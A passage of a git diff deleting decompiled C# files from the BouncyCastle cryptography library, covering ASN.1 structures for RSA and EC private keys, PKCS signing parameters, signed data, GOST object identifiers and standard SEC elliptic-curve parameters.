isExplicit)); - } - - public static RsaPrivateKeyStructure GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is RsaPrivateKeyStructure) - { - return (RsaPrivateKeyStructure)obj; - } - return new RsaPrivateKeyStructure(Asn1Sequence.GetInstance(obj)); - } - - public RsaPrivateKeyStructure(BigInteger modulus, BigInteger publicExponent, BigInteger privateExponent, BigInteger prime1, BigInteger prime2, BigInteger exponent1, BigInteger exponent2, BigInteger coefficient) - { - this.modulus = modulus; - this.publicExponent = publicExponent; - this.privateExponent = privateExponent; - this.prime1 = prime1; - this.prime2 = prime2; - this.exponent1 = exponent1; - this.exponent2 = exponent2; - this.coefficient = coefficient; - } - - [Obsolete("Use 'GetInstance' method(s) instead")] - public RsaPrivateKeyStructure(Asn1Sequence seq) - { - BigInteger value = ((DerInteger)seq[0]).Value; - if (value.IntValue != 0) - { - throw new ArgumentException("wrong version for RSA private key"); - } - modulus = ((DerInteger)seq[1]).Value; - publicExponent = ((DerInteger)seq[2]).Value; - privateExponent = ((DerInteger)seq[3]).Value; - prime1 = ((DerInteger)seq[4]).Value; - prime2 = ((DerInteger)seq[5]).Value; - exponent1 = ((DerInteger)seq[6]).Value; - exponent2 = ((DerInteger)seq[7]).Value; - coefficient = ((DerInteger)seq[8]).Value; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(new DerInteger(0), new DerInteger(Modulus), new DerInteger(PublicExponent), new DerInteger(PrivateExponent), new DerInteger(Prime1), new DerInteger(Prime2), new DerInteger(Exponent1), new DerInteger(Exponent2), new DerInteger(Coefficient)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsaesOaepParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsaesOaepParameters.cs deleted file mode 100644 index 5b9c896..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsaesOaepParameters.cs +++ /dev/null @@ -1,97 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class RsaesOaepParameters : Asn1Encodable -{ - private AlgorithmIdentifier hashAlgorithm; - - private AlgorithmIdentifier maskGenAlgorithm; - - private AlgorithmIdentifier pSourceAlgorithm; - - public static readonly AlgorithmIdentifier DefaultHashAlgorithm = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - - public static readonly AlgorithmIdentifier DefaultMaskGenFunction = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, DefaultHashAlgorithm); - - public static readonly AlgorithmIdentifier DefaultPSourceAlgorithm = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdPSpecified, new DerOctetString(new byte[0])); - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public AlgorithmIdentifier MaskGenAlgorithm => maskGenAlgorithm; - - public AlgorithmIdentifier PSourceAlgorithm => pSourceAlgorithm; - - public static RsaesOaepParameters GetInstance(object obj) - { - if (obj is RsaesOaepParameters) - { - return (RsaesOaepParameters)obj; - } - if (obj is Asn1Sequence) - { - return new RsaesOaepParameters((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public RsaesOaepParameters() - { - hashAlgorithm = DefaultHashAlgorithm; - maskGenAlgorithm = DefaultMaskGenFunction; - pSourceAlgorithm = DefaultPSourceAlgorithm; - } - - public RsaesOaepParameters(AlgorithmIdentifier hashAlgorithm, AlgorithmIdentifier maskGenAlgorithm, AlgorithmIdentifier pSourceAlgorithm) - { - this.hashAlgorithm = hashAlgorithm; - this.maskGenAlgorithm = maskGenAlgorithm; - this.pSourceAlgorithm = pSourceAlgorithm; - } - - public RsaesOaepParameters(Asn1Sequence seq) - { - hashAlgorithm = DefaultHashAlgorithm; - maskGenAlgorithm = DefaultMaskGenFunction; - pSourceAlgorithm = DefaultPSourceAlgorithm; - for (int i = 0; i != seq.Count; i++) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[i]; - switch (asn1TaggedObject.TagNo) - { - case 0: - hashAlgorithm = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - break; - case 1: - maskGenAlgorithm = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - break; - case 2: - pSourceAlgorithm = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - break; - default: - throw new ArgumentException("unknown tag"); - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (!hashAlgorithm.Equals(DefaultHashAlgorithm)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, hashAlgorithm)); - } - if (!maskGenAlgorithm.Equals(DefaultMaskGenFunction)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, maskGenAlgorithm)); - } - if (!pSourceAlgorithm.Equals(DefaultPSourceAlgorithm)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, pSourceAlgorithm)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsassaPssParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsassaPssParameters.cs deleted file mode 100644 index 6c7c647..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/RsassaPssParameters.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class RsassaPssParameters : Asn1Encodable -{ - private AlgorithmIdentifier hashAlgorithm; - - private AlgorithmIdentifier maskGenAlgorithm; - - private DerInteger saltLength; - - private DerInteger trailerField; - - public static readonly AlgorithmIdentifier DefaultHashAlgorithm = new AlgorithmIdentifier(OiwObjectIdentifiers.IdSha1, DerNull.Instance); - - public static readonly AlgorithmIdentifier DefaultMaskGenFunction = new AlgorithmIdentifier(PkcsObjectIdentifiers.IdMgf1, DefaultHashAlgorithm); - - public static readonly DerInteger DefaultSaltLength = new DerInteger(20); - - public static readonly DerInteger DefaultTrailerField = new DerInteger(1); - - public AlgorithmIdentifier HashAlgorithm => hashAlgorithm; - - public AlgorithmIdentifier MaskGenAlgorithm => maskGenAlgorithm; - - public DerInteger SaltLength => saltLength; - - public DerInteger TrailerField => trailerField; - - public static RsassaPssParameters GetInstance(object obj) - { - if (obj == null || obj is RsassaPssParameters) - { - return (RsassaPssParameters)obj; - } - if (obj is Asn1Sequence) - { - return new RsassaPssParameters((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public RsassaPssParameters() - { - hashAlgorithm = DefaultHashAlgorithm; - maskGenAlgorithm = DefaultMaskGenFunction; - saltLength = DefaultSaltLength; - trailerField = DefaultTrailerField; - } - - public RsassaPssParameters(AlgorithmIdentifier hashAlgorithm, AlgorithmIdentifier maskGenAlgorithm, DerInteger saltLength, DerInteger trailerField) - { - this.hashAlgorithm = hashAlgorithm; - this.maskGenAlgorithm = maskGenAlgorithm; - this.saltLength = saltLength; - this.trailerField = trailerField; - } - - public RsassaPssParameters(Asn1Sequence seq) - { - hashAlgorithm = DefaultHashAlgorithm; - maskGenAlgorithm = DefaultMaskGenFunction; - saltLength = DefaultSaltLength; - trailerField = DefaultTrailerField; - for (int i = 0; i != seq.Count; i++) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)seq[i]; - switch (asn1TaggedObject.TagNo) - { - case 0: - hashAlgorithm = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - break; - case 1: - maskGenAlgorithm = AlgorithmIdentifier.GetInstance(asn1TaggedObject, explicitly: true); - break; - case 2: - saltLength = DerInteger.GetInstance(asn1TaggedObject, isExplicit: true); - break; - case 3: - trailerField = DerInteger.GetInstance(asn1TaggedObject, isExplicit: true); - break; - default: - throw new ArgumentException("unknown tag"); - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (!hashAlgorithm.Equals(DefaultHashAlgorithm)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, hashAlgorithm)); - } - if (!maskGenAlgorithm.Equals(DefaultMaskGenFunction)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, maskGenAlgorithm)); - } - if (!saltLength.Equals(DefaultSaltLength)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, saltLength)); - } - if (!trailerField.Equals(DefaultTrailerField)) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 3, trailerField)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SafeBag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SafeBag.cs deleted file mode 100644 index 74e5a18..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SafeBag.cs +++ /dev/null @@ -1,50 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class SafeBag : Asn1Encodable -{ - private readonly DerObjectIdentifier bagID; - - private readonly Asn1Object bagValue; - - private readonly Asn1Set bagAttributes; - - public DerObjectIdentifier BagID => bagID; - - public Asn1Object BagValue => bagValue; - - public Asn1Set BagAttributes => bagAttributes; - - public SafeBag(DerObjectIdentifier oid, Asn1Object obj) - { - bagID = oid; - bagValue = obj; - bagAttributes = null; - } - - public SafeBag(DerObjectIdentifier oid, Asn1Object obj, Asn1Set bagAttributes) - { - bagID = oid; - bagValue = obj; - this.bagAttributes = bagAttributes; - } - - public SafeBag(Asn1Sequence seq) - { - bagID = (DerObjectIdentifier)seq[0]; - bagValue = ((DerTaggedObject)seq[1]).GetObject(); - if (seq.Count == 3) - { - bagAttributes = (Asn1Set)seq[2]; - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(bagID, new DerTaggedObject(0, bagValue)); - if (bagAttributes != null) - { - asn1EncodableVector.Add(bagAttributes); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SignedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SignedData.cs deleted file mode 100644 index 0943be1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SignedData.cs +++ /dev/null @@ -1,103 +0,0 @@ -using System; -using System.Collections; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class SignedData : Asn1Encodable -{ - private readonly DerInteger version; - - private readonly Asn1Set digestAlgorithms; - - private readonly ContentInfo contentInfo; - - private readonly Asn1Set certificates; - - private readonly Asn1Set crls; - - private readonly Asn1Set signerInfos; - - public DerInteger Version => version; - - public Asn1Set DigestAlgorithms => digestAlgorithms; - - public ContentInfo ContentInfo => contentInfo; - - public Asn1Set Certificates => certificates; - - public Asn1Set Crls => crls; - - public Asn1Set SignerInfos => signerInfos; - - public static SignedData GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is SignedData result) - { - return result; - } - return new SignedData(Asn1Sequence.GetInstance(obj)); - } - - public SignedData(DerInteger _version, Asn1Set _digestAlgorithms, ContentInfo _contentInfo, Asn1Set _certificates, Asn1Set _crls, Asn1Set _signerInfos) - { - version = _version; - digestAlgorithms = _digestAlgorithms; - contentInfo = _contentInfo; - certificates = _certificates; - crls = _crls; - signerInfos = _signerInfos; - } - - private SignedData(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - version = (DerInteger)enumerator.Current; - enumerator.MoveNext(); - digestAlgorithms = (Asn1Set)enumerator.Current; - enumerator.MoveNext(); - contentInfo = ContentInfo.GetInstance(enumerator.Current); - while (enumerator.MoveNext()) - { - Asn1Object asn1Object = (Asn1Object)enumerator.Current; - if (asn1Object is DerTaggedObject) - { - DerTaggedObject derTaggedObject = (DerTaggedObject)asn1Object; - switch (derTaggedObject.TagNo) - { - case 0: - certificates = Asn1Set.GetInstance(derTaggedObject, explicitly: false); - break; - case 1: - crls = Asn1Set.GetInstance(derTaggedObject, explicitly: false); - break; - default: - throw new ArgumentException("unknown tag value " + derTaggedObject.TagNo); - } - } - else - { - signerInfos = (Asn1Set)asn1Object; - } - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, digestAlgorithms, contentInfo); - if (certificates != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, certificates)); - } - if (crls != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, crls)); - } - asn1EncodableVector.Add(signerInfos); - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SignerInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SignerInfo.cs deleted file mode 100644 index f2221c5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Pkcs/SignerInfo.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Pkcs; - -public class SignerInfo : Asn1Encodable -{ - private DerInteger version; - - private IssuerAndSerialNumber issuerAndSerialNumber; - - private AlgorithmIdentifier digAlgorithm; - - private Asn1Set authenticatedAttributes; - - private AlgorithmIdentifier digEncryptionAlgorithm; - - private Asn1OctetString encryptedDigest; - - private Asn1Set unauthenticatedAttributes; - - public DerInteger Version => version; - - public IssuerAndSerialNumber IssuerAndSerialNumber => issuerAndSerialNumber; - - public Asn1Set AuthenticatedAttributes => authenticatedAttributes; - - public AlgorithmIdentifier DigestAlgorithm => digAlgorithm; - - public Asn1OctetString EncryptedDigest => encryptedDigest; - - public AlgorithmIdentifier DigestEncryptionAlgorithm => digEncryptionAlgorithm; - - public Asn1Set UnauthenticatedAttributes => unauthenticatedAttributes; - - public static SignerInfo GetInstance(object obj) - { - if (obj is SignerInfo) - { - return (SignerInfo)obj; - } - if (obj is Asn1Sequence) - { - return new SignerInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public SignerInfo(DerInteger version, IssuerAndSerialNumber issuerAndSerialNumber, AlgorithmIdentifier digAlgorithm, Asn1Set authenticatedAttributes, AlgorithmIdentifier digEncryptionAlgorithm, Asn1OctetString encryptedDigest, Asn1Set unauthenticatedAttributes) - { - this.version = version; - this.issuerAndSerialNumber = issuerAndSerialNumber; - this.digAlgorithm = digAlgorithm; - this.authenticatedAttributes = authenticatedAttributes; - this.digEncryptionAlgorithm = digEncryptionAlgorithm; - this.encryptedDigest = encryptedDigest; - this.unauthenticatedAttributes = unauthenticatedAttributes; - } - - public SignerInfo(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - version = (DerInteger)enumerator.Current; - enumerator.MoveNext(); - issuerAndSerialNumber = IssuerAndSerialNumber.GetInstance(enumerator.Current); - enumerator.MoveNext(); - digAlgorithm = AlgorithmIdentifier.GetInstance(enumerator.Current); - enumerator.MoveNext(); - object current = enumerator.Current; - if (current is Asn1TaggedObject) - { - authenticatedAttributes = Asn1Set.GetInstance((Asn1TaggedObject)current, explicitly: false); - enumerator.MoveNext(); - digEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(enumerator.Current); - } - else - { - authenticatedAttributes = null; - digEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(current); - } - enumerator.MoveNext(); - encryptedDigest = Asn1OctetString.GetInstance(enumerator.Current); - if (enumerator.MoveNext()) - { - unauthenticatedAttributes = Asn1Set.GetInstance((Asn1TaggedObject)enumerator.Current, explicitly: false); - } - else - { - unauthenticatedAttributes = null; - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, issuerAndSerialNumber, digAlgorithm); - if (authenticatedAttributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, authenticatedAttributes)); - } - asn1EncodableVector.Add(digEncryptionAlgorithm, encryptedDigest); - if (unauthenticatedAttributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, unauthenticatedAttributes)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Rosstandart/RosstandartObjectIdentifiers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Rosstandart/RosstandartObjectIdentifiers.cs deleted file mode 100644 index 7b8e5d5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Rosstandart/RosstandartObjectIdentifiers.cs +++ /dev/null @@ -1,44 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Rosstandart; - -public abstract class RosstandartObjectIdentifiers -{ - public static readonly DerObjectIdentifier rosstandart = new DerObjectIdentifier("1.2.643.7"); - - public static readonly DerObjectIdentifier id_tc26 = rosstandart.Branch("1"); - - public static readonly DerObjectIdentifier id_tc26_gost_3411_12_256 = id_tc26.Branch("1.2.2"); - - public static readonly DerObjectIdentifier id_tc26_gost_3411_12_512 = id_tc26.Branch("1.2.3"); - - public static readonly DerObjectIdentifier id_tc26_hmac_gost_3411_12_256 = id_tc26.Branch("1.4.1"); - - public static readonly DerObjectIdentifier id_tc26_hmac_gost_3411_12_512 = id_tc26.Branch("1.4.2"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256 = id_tc26.Branch("1.1.1"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512 = id_tc26.Branch("1.1.2"); - - public static readonly DerObjectIdentifier id_tc26_signwithdigest_gost_3410_12_256 = id_tc26.Branch("1.3.2"); - - public static readonly DerObjectIdentifier id_tc26_signwithdigest_gost_3410_12_512 = id_tc26.Branch("1.3.3"); - - public static readonly DerObjectIdentifier id_tc26_agreement = id_tc26.Branch("1.6"); - - public static readonly DerObjectIdentifier id_tc26_agreement_gost_3410_12_256 = id_tc26_agreement.Branch("1"); - - public static readonly DerObjectIdentifier id_tc26_agreement_gost_3410_12_512 = id_tc26_agreement.Branch("2"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256_paramSet = id_tc26.Branch("2.1.1"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_256_paramSetA = id_tc26_gost_3410_12_256_paramSet.Branch("1"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSet = id_tc26.Branch("2.1.2"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetA = id_tc26_gost_3410_12_512_paramSet.Branch("1"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetB = id_tc26_gost_3410_12_512_paramSet.Branch("2"); - - public static readonly DerObjectIdentifier id_tc26_gost_3410_12_512_paramSetC = id_tc26_gost_3410_12_512_paramSet.Branch("3"); - - public static readonly DerObjectIdentifier id_tc26_gost_28147_param_Z = id_tc26.Branch("2.5.1.1"); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/ECPrivateKeyStructure.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/ECPrivateKeyStructure.cs deleted file mode 100644 index da5dc4a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/ECPrivateKeyStructure.cs +++ /dev/null @@ -1,139 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Sec; - -public class ECPrivateKeyStructure : Asn1Encodable -{ - private readonly Asn1Sequence seq; - - public static ECPrivateKeyStructure GetInstance(object obj) - { - if (obj == null) - { - return null; - } - if (obj is ECPrivateKeyStructure) - { - return (ECPrivateKeyStructure)obj; - } - return new ECPrivateKeyStructure(Asn1Sequence.GetInstance(obj)); - } - - [Obsolete("Use 'GetInstance' instead")] - public ECPrivateKeyStructure(Asn1Sequence seq) - { - if (seq == null) - { - throw new ArgumentNullException("seq"); - } - this.seq = seq; - } - - [Obsolete("Use constructor which takes 'orderBitLength' instead, to guarantee correct encoding")] - public ECPrivateKeyStructure(BigInteger key) - { - if (key == null) - { - throw new ArgumentNullException("key"); - } - seq = new DerSequence(new DerInteger(1), new DerOctetString(key.ToByteArrayUnsigned())); - } - - public ECPrivateKeyStructure(int orderBitLength, BigInteger key) - : this(orderBitLength, key, null) - { - } - - [Obsolete("Use constructor which takes 'orderBitLength' instead, to guarantee correct encoding")] - public ECPrivateKeyStructure(BigInteger key, Asn1Encodable parameters) - : this(key, null, parameters) - { - } - - [Obsolete("Use constructor which takes 'orderBitLength' instead, to guarantee correct encoding")] - public ECPrivateKeyStructure(BigInteger key, DerBitString publicKey, Asn1Encodable parameters) - { - if (key == null) - { - throw new ArgumentNullException("key"); - } - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger(1), new DerOctetString(key.ToByteArrayUnsigned())); - if (parameters != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, parameters)); - } - if (publicKey != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, publicKey)); - } - seq = new DerSequence(asn1EncodableVector); - } - - public ECPrivateKeyStructure(int orderBitLength, BigInteger key, Asn1Encodable parameters) - : this(orderBitLength, key, null, parameters) - { - } - - public ECPrivateKeyStructure(int orderBitLength, BigInteger key, DerBitString publicKey, Asn1Encodable parameters) - { - if (key == null) - { - throw new ArgumentNullException("key"); - } - if (orderBitLength < key.BitLength) - { - throw new ArgumentException("must be >= key bitlength", "orderBitLength"); - } - byte[] str = BigIntegers.AsUnsignedByteArray((orderBitLength + 7) / 8, key); - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(new DerInteger(1), new DerOctetString(str)); - if (parameters != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, parameters)); - } - if (publicKey != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, publicKey)); - } - seq = new DerSequence(asn1EncodableVector); - } - - public virtual BigInteger GetKey() - { - Asn1OctetString asn1OctetString = (Asn1OctetString)seq[1]; - return new BigInteger(1, asn1OctetString.GetOctets()); - } - - public virtual DerBitString GetPublicKey() - { - return (DerBitString)GetObjectInTag(1); - } - - public virtual Asn1Object GetParameters() - { - return GetObjectInTag(0); - } - - private Asn1Object GetObjectInTag(int tagNo) - { - foreach (Asn1Encodable item in seq) - { - Asn1Object asn1Object = item.ToAsn1Object(); - if (asn1Object is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Object; - if (asn1TaggedObject.TagNo == tagNo) - { - return asn1TaggedObject.GetObject(); - } - } - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/SecNamedCurves.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/SecNamedCurves.cs deleted file mode 100644 index 9b0106a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Sec/SecNamedCurves.cs +++ /dev/null @@ -1,964 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Endo; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Asn1.Sec; - -public sealed class SecNamedCurves -{ - internal class Secp112r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp112r1Holder(); - - private Secp112r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("DB7C2ABF62E35E668076BEAD208B"); - BigInteger a = FromHex("DB7C2ABF62E35E668076BEAD2088"); - BigInteger b = FromHex("659EF8BA043916EEDE8911702B22"); - byte[] seed = Hex.Decode("00F50B028E4D696E676875615175290472783FB1"); - BigInteger bigInteger = FromHex("DB7C2ABF62E35E7628DFAC6561C5"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("0409487239995A5EE76B55F9C2F098A89CE5AF8724C0A23E0E0FF77500")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp112r2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp112r2Holder(); - - private Secp112r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("DB7C2ABF62E35E668076BEAD208B"); - BigInteger a = FromHex("6127C24C05F38A0AAAF65C0EF02C"); - BigInteger b = FromHex("51DEF1815DB5ED74FCC34C85D709"); - byte[] seed = Hex.Decode("002757A1114D696E6768756151755316C05E0BD4"); - BigInteger bigInteger = FromHex("36DF0AAFD8B8D7597CA10520D04B"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, bigInteger2)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("044BA30AB5E892B4E1649DD0928643ADCD46F5882E3747DEF36E956E97")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Secp128r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp128r1Holder(); - - private Secp128r1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFF"); - BigInteger a = FromHex("FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC"); - BigInteger b = FromHex("E87579C11079F43DD824993C2CEE5ED3"); - byte[] seed = Hex.Decode("000E0D4D696E6768756151750CC03A4473D03679"); - BigInteger bigInteger = FromHex("FFFFFFFE0000000075A30D1B9038A115"); - BigInteger one = BigInteger.One; - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, one)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("04161FF7528B899B2D0C28607CA52C5B86CF5AC8395BAFEB13C02DA292DDED7A83")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp128r2Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp128r2Holder(); - - private Secp128r2Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFF"); - BigInteger a = FromHex("D6031998D1B3BBFEBF59CC9BBFF9AEE1"); - BigInteger b = FromHex("5EEEFCA380D02919DC2C6558BB6D8A5D"); - byte[] seed = Hex.Decode("004D696E67687561517512D8F03431FCE63B88F4"); - BigInteger bigInteger = FromHex("3FFFFFFF7FFFFFFFBE0024720613B5A3"); - BigInteger bigInteger2 = BigInteger.ValueOf(4L); - ECCurve eCCurve = ConfigureCurve(new FpCurve(q, a, b, bigInteger, bigInteger2)); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("047B6AA5D85E572983E6FB32A7CDEBC14027B6916A894D3AEE7106FE805FC34B44")); - return new X9ECParameters(eCCurve, g, bigInteger, bigInteger2, seed); - } - } - - internal class Secp160k1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp160k1Holder(); - - private Secp160k1Holder() - { - } - - protected override X9ECParameters CreateParameters() - { - BigInteger q = FromHex("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFAC73"); - BigInteger zero = BigInteger.Zero; - BigInteger b = BigInteger.ValueOf(7L); - byte[] seed = null; - BigInteger bigInteger = FromHex("0100000000000000000001B8FA16DFAB9ACA16B6B3"); - BigInteger one = BigInteger.One; - GlvTypeBParameters p = new GlvTypeBParameters(new BigInteger("9ba48cba5ebcb9b6bd33b92830b2a2e0e192f10a", 16), new BigInteger("c39c6c3b3a36d7701b9c71a1f5804ae5d0003f4", 16), new BigInteger[2] - { - new BigInteger("9162fbe73984472a0a9e", 16), - new BigInteger("-96341f1138933bc2f505", 16) - }, new BigInteger[2] - { - new BigInteger("127971af8721782ecffa3", 16), - new BigInteger("9162fbe73984472a0a9e", 16) - }, new BigInteger("9162fbe73984472a0a9d0590", 16), new BigInteger("96341f1138933bc2f503fd44", 16), 176); - ECCurve eCCurve = ConfigureCurveGlv(new FpCurve(q, zero, b, bigInteger, one), p); - X9ECPoint g = new X9ECPoint(eCCurve, Hex.Decode("043B4C382CE37AA192A4019E763036F4F5DD4D7EBB938CF935318FDCED6BC28286531733C3F03C4FEE")); - return new X9ECParameters(eCCurve, g, bigInteger, one, seed); - } - } - - internal class Secp160r1Holder : X9ECParametersHolder - { - internal static readonly X9ECParametersHolder Instance = new Secp160r1Holder(); - - private Secp160r1Holder() - { 